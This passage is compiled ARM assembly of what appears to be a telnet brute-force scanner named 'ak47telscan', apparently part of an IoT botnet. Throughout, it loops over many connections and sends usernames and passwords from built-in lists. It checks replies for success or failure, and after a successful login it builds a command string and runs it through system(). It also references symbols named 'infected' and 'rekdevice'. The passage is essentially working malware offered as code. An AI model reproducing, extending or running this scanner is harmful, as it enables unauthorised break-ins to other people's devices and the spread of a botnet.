	mov	r3, #16384
	mov	r1, r5
	mov	r0, r4
	bl	send
	mov	r3, r0
	cmp	r3, #0
	bge	.L192
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	mov	r0, r3
	bl	reset_telstate
	b	.L165
.L192:
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	ldr	r0, [r3]
	mov	r3, #16384
	mov	r2, #2
	ldr	r1, .L224+16
	bl	send
	mov	r3, r0
	cmp	r3, #0
	bge	.L193
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	mov	r0, r3
	bl	reset_telstate
	b	.L165
.L193:
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	mov	r1, #4
	mov	r0, r3
	bl	advance_telstate
	b	.L165
.L170:
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	ldr	r0, [r3]
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #16
	ldr	r2, [r3]
	ldr	r3, .L224+12
	str	r3, [sp]
	mov	r3, #1024
	ldr	r1, [fp, #-1240]
	bl	read_until_response
	mov	r3, r0
	cmp	r3, #0
	beq	.L194
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #16
	ldr	r3, [r3]
	mov	r0, r3
	bl	contains_fail
	mov	r3, r0
	cmp	r3, #0
	beq	.L195
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	mov	r1, #0
	mov	r0, r3
	bl	advance_telstate
	b	.L165
.L195:
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	mov	r1, #5
	mov	r0, r3
	bl	advance_telstate
	b	.L165
.L194:
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #12
	ldr	r3, [r3]
	add	r4, r3, #3
	mov	r0, #0
	bl	time
	mov	r3, r0
	cmp	r4, r3
	bcs	.L221
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	mov	r0, r3
	bl	reset_telstate
	b	.L221
.L169:
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	ldr	r4, [r3]
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #11
	ldrb	r3, [r3]	@ zero_extendqisi2
	mov	r2, r3
	ldr	r3, .L224+76
	ldr	r5, [r3, r2, lsl #2]
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #11
	ldrb	r3, [r3]	@ zero_extendqisi2
	mov	r2, r3
	ldr	r3, .L224+76
	ldr	r3, [r3, r2, lsl #2]
	mov	r0, r3
	bl	strlen
	mov	r2, r0
	mov	r3, #16384
	mov	r1, r5
	mov	r0, r4
	bl	send
	mov	r3, r0
	cmp	r3, #0
	bge	.L198
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	mov	r0, r3
	bl	reset_telstate
	b	.L165
.L198:
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	ldr	r0, [r3]
	mov	r3, #16384
	mov	r2, #2
	ldr	r1, .L224+16
	bl	send
	mov	r3, r0
	cmp	r3, #0
	bge	.L199
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	mov	r0, r3
	bl	reset_telstate
	b	.L165
.L225:
	.align	2
.L224:
	.word	.LC101
	.word	1025
	.word	.LC89
	.word	advances
	.word	.LC90
	.word	advances2
	.word	.LC91
	.word	.LC92
	.word	.LC93
	.word	.LC94
	.word	.LC95
	.word	.LC96
	.word	.LC97
	.word	legit
	.word	rekdevice
	.word	.LC98
	.word	infected
	.word	.LC99
	.word	usernames
	.word	passwords
	.word	.LC100
.L199:
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	mov	r1, #6
	mov	r0, r3
	bl	advance_telstate
	b	.L165
.L168:
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	ldr	r0, [r3]
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #16
	ldr	r2, [r3]
	ldr	r3, .L224+20
	str	r3, [sp]
	mov	r3, #1024
	ldr	r1, [fp, #-1240]
	bl	read_until_response
	mov	r3, r0
	cmp	r3, #0
	beq	.L200
	mov	r0, #0
	bl	time
	mov	r3, r0
	mov	r0, r3
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #12
	str	r0, [r3]
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #16
	ldr	r3, [r3]
	mov	r0, r3
	bl	contains_fail
	mov	r3, r0
	cmp	r3, #0
	beq	.L201
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	mov	r1, #0
	mov	r0, r3
	bl	advance_telstate
	b	.L165
.L201:
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #16
	ldr	r3, [r3]
	mov	r0, r3
	bl	contains_success
	mov	r3, r0
	cmp	r3, #0
	beq	.L203
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #9
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #2
	bne	.L204
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	mov	r1, #7
	mov	r0, r3
	bl	advance_telstate
	b	.L165
.L204:
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	mov	r0, r3
	bl	get_telstate_host
	mov	ip, r0
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #10
	ldrb	r3, [r3]	@ zero_extendqisi2
	mov	r2, r3
	ldr	r3, .L224+72
	ldr	r0, [r3, r2, lsl #2]
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #11
	ldrb	r3, [r3]	@ zero_extendqisi2
	mov	r2, r3
	ldr	r3, .L224+76
	ldr	r3, [r3, r2, lsl #2]
	mov	r2, r0
	mov	r1, ip
	ldr	r0, .L224+24
	bl	printf
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	mov	r0, r3
	bl	get_telstate_host
	mov	lr, r0
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #10
	ldrb	r3, [r3]	@ zero_extendqisi2
	mov	r2, r3
	ldr	r3, .L224+72
	ldr	ip, [r3, r2, lsl #2]
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #11
	ldrb	r3, [r3]	@ zero_extendqisi2
	mov	r2, r3
	ldr	r3, .L224+76
	ldr	r3, [r3, r2, lsl #2]
	sub	r0, fp, #1024
	sub	r0, r0, #12
	sub	r0, r0, #4
	str	r3, [sp]
	mov	r3, ip
	mov	r2, lr
	ldr	r1, .L224+28
	bl	sprintf
	sub	r3, fp, #1024
	sub	r3, r3, #12
	sub	r3, r3, #4
	mov	r0, r3
	bl	system
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	mov	r1, #7
	mov	r0, r3
	bl	advance_telstate
	b	.L165
.L203:
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	mov	r0, r3
	bl	reset_telstate
	b	.L165
.L200:
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #12
	ldr	r3, [r3]
	add	r4, r3, #7
	mov	r0, #0
	bl	time
	mov	r3, r0
	cmp	r4, r3
	bcs	.L222
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	mov	r0, r3
	bl	reset_telstate
	b	.L222
.L166:
	mov	r0, #0
	bl	time
	mov	r3, r0
	mov	r0, r3
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #12
	str	r0, [r3]
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	ldr	r0, [r3]
	mov	r3, #16384
	mov	r2, #8
	ldr	r1, .L224+32
	bl	send
	mov	r3, r0
	cmp	r3, #0
	bge	.L206
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	ldr	r3, [r3]
	mov	r0, r3
	bl	sclose
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #8
	mov	r2, #0
	strb	r2, [r3]
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #9
	mov	r2, #1
	strb	r2, [r3]
	b	.L165
.L206:
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	ldr	r0, [r3]
	mov	r3, #16384
	mov	r2, #8
	ldr	r1, .L224+36
	bl	send
	mov	r3, r0
	cmp	r3, #0
	bge	.L207
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	ldr	r3, [r3]
	mov	r0, r3
	bl	sclose
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #8
	mov	r2, #0
	strb	r2, [r3]
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #9
	mov	r2, #1
	strb	r2, [r3]
	b	.L165
.L207:
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	ldr	r0, [r3]
	mov	r3, #16384
	mov	r2, #7
	ldr	r1, .L224+40
	bl	send
	mov	r3, r0
	cmp	r3, #0
	bge	.L208
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	ldr	r3, [r3]
	mov	r0, r3
	bl	sclose
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #8
	mov	r2, #0
	strb	r2, [r3]
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #9
	mov	r2, #1
	strb	r2, [r3]
	b	.L165
.L208:
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	ldr	r0, [r3]
	mov	r3, #16384
	mov	r2, #4
	ldr	r1, .L224+44
	bl	send
	mov	r3, r0
	cmp	r3, #0
	bge	.L209
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	ldr	r3, [r3]
	mov	r0, r3
	bl	sclose
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #8
	mov	r2, #0
	strb	r2, [r3]
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #9
	mov	r2, #1
	strb	r2, [r3]
	b	.L165
.L209:
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	ldr	r0, [r3]
	mov	r3, #16384
	mov	r2, #26
	ldr	r1, .L224+48
	bl	send
	mov	r3, r0
	cmp	r3, #0
	bge	.L210
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	ldr	r3, [r3]
	mov	r0, r3
	bl	sclose
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #8
	mov	r2, #0
	strb	r2, [r3]
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #9
	mov	r2, #1
	strb	r2, [r3]
	b	.L165
.L210:
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	ldr	r0, [r3]
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #16
	ldr	r2, [r3]
	ldr	r3, .L224+52
	str	r3, [sp]
	mov	r3, #1024
	ldr	r1, [fp, #-1240]
	bl	read_until_response
	mov	r3, r0
	cmp	r3, #0
	beq	.L223
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	ldr	r4, [r3]
	ldr	r3, .L224+56
	ldr	r5, [r3]
	ldr	r3, .L224+56
	ldr	r3, [r3]
	mov	r0, r3
	bl	strlen
	mov	r2, r0
	mov	r3, #16384
	mov	r1, r5
	mov	r0, r4
	bl	send
	mov	r3, r0
	cmp	r3, #0
	ble	.L212
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	add	r3, r3, #4
	ldr	r0, [r3]
	bl	inet_ntoa
	mov	ip, r0
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #10
	ldrb	r3, [r3]	@ zero_extendqisi2
	mov	r2, r3
	ldr	r3, .L224+72
	ldr	r0, [r3, r2, lsl #2]
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #11
	ldrb	r3, [r3]	@ zero_extendqisi2
	mov	r2, r3
	ldr	r3, .L224+76
	ldr	r3, [r3, r2, lsl #2]
	mov	r2, r0
	mov	r1, ip
	ldr	r0, .L224+60
	bl	printf
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	mov	r0, r3
	bl	reset_telstate
.L212:
	mov	r0, #20
	bl	sleep
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	ldr	r0, [r3]
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #16
	ldr	r2, [r3]
	ldr	r3, .L224+64
	str	r3, [sp]
	mov	r3, #1024
	ldr	r1, [fp, #-1240]
	bl	read_until_response
	mov	r3, r0
	cmp	r3, #0
	beq	.L213
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	add	r3, r3, #4
	ldr	r0, [r3]
	bl	inet_ntoa
	mov	ip, r0
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #10
	ldrb	r3, [r3]	@ zero_extendqisi2
	mov	r2, r3
	ldr	r3, .L224+72
	ldr	r0, [r3, r2, lsl #2]
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #11
	ldrb	r3, [r3]	@ zero_extendqisi2
	mov	r2, r3
	ldr	r3, .L224+76
	ldr	r3, [r3, r2, lsl #2]
	mov	r2, r0
	mov	r1, ip
	ldr	r0, .L224+68
	bl	printf
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	mov	r0, r3
	bl	reset_telstate
	b	.L165
.L213:
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #12
	ldr	r3, [r3]
	add	r4, r3, #60
	mov	r0, #0
	bl	time
	mov	r3, r0
	cmp	r4, r3
	bcs	.L223
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #9
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #3
	beq	.L214
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	mov	r0, r3
	bl	get_telstate_host
	mov	ip, r0
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #10
	ldrb	r3, [r3]	@ zero_extendqisi2
	mov	r2, r3
	ldr	r3, .L224+72
	ldr	r0, [r3, r2, lsl #2]
	ldr	r1, [fp, #-1208]
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r1, r3
	add	r3, r3, #11
	ldrb	r3, [r3]	@ zero_extendqisi2
	mov	r2, r3
	ldr	r3, .L224+76
	ldr	r3, [r3, r2, lsl #2]
	mov	r2, r0
	mov	r1, ip
	ldr	r0, .L224+80
	bl	printf
.L214:
	ldr	r2, [fp, #-1224]
	mov	r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, [fp, #-1208]
	add	r3, r2, r3
	mov	r0, r3
	bl	reset_telstate
	b	.L223
.L218:
	nop
	b	.L165
.L219:
	nop
	b	.L165
.L220:
	nop
	b	.L165
.L221:
	nop
	b	.L165
.L222:
	nop
	b	.L165
.L223:
	nop
.L165:
	ldr	r3, [fp, #-1224]
	add	r3, r3, #1
	str	r3, [fp, #-1224]
.L163:
	ldr	r2, [fp, #-1224]
	ldr	r3, [fp, #-1220]
	cmp	r2, r3
	blt	.L215
	b	.L216
	.size	ak47telscan, .-ak47telscan
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 24
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, fp, lr}
	add	fp, sp, #8
	sub	sp, sp, #28
	str	r0, [fp, #-32]
	str	r1, [fp, #-36]
	bl	fork
	mov	r3, r0
	str	r3, [fp, #-24]
	mov	r0, #84
	bl	sysconf
	str	r0, [fp, #-20]
	ldr	r3, [fp, #-20]
	lsl	r3, r3, #9
	str	r3, [fp, #-16]
	ldr	r3, [fp, #-24]
	cmp	r3, #0
	beq	.L227
	ldr	r3, [fp, #-24]
	ldr	r2, .L232
	str	r3, [r2]
	mov	r3, #0
	b	.L228
.L227:
	ldr	r3, [fp, #-24]
	cmn	r3, #1
	bne	.L229
	mov	r3, #1
	b	.L228
.L229:
	mov	r3, #0
	str	r3, [fp, #-28]
	b	.L230
.L231:
	mov	r0, #0
	bl	time
	mov	r4, r0
	bl	getpid
	mov	r3, r0
	eor	r4, r4, r3
	bl	getppid
	mov	r3, r0
	add	r3, r4, r3
	mov	r0, r3
	bl	srand
	mov	r0, #0
	bl	time
	mov	r4, r0
	bl	getpid
	mov	r3, r0
	eor	r3, r3, r4
	mov	r0, r3
	bl	init_rand
	ldr	r1, [fp, #-16]
	ldr	r0, .L232+4
	bl	ak47telscan
	ldr	r3, [fp, #-28]
	add	r3, r3, #1
	str	r3, [fp, #-28]
.L230:
	ldr	r2, [fp, #-28]
	ldr	r3, [fp, #-20]
	cmp	r2, r3
	blt	.L231
	mov	r3, #0
.L228:
	mov	r0, r3
	sub	sp, fp, #8
	@ sp needed
	pop	{r4, fp, pc}
.L233:
	.align	2
.L232:
	.word	scanPid
	.word	370
	.size	main, .-main
	.data
	.align	2
	.type	i.8093, %object
	.size	i.8093, 4
i.8093:
	.word	4095
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
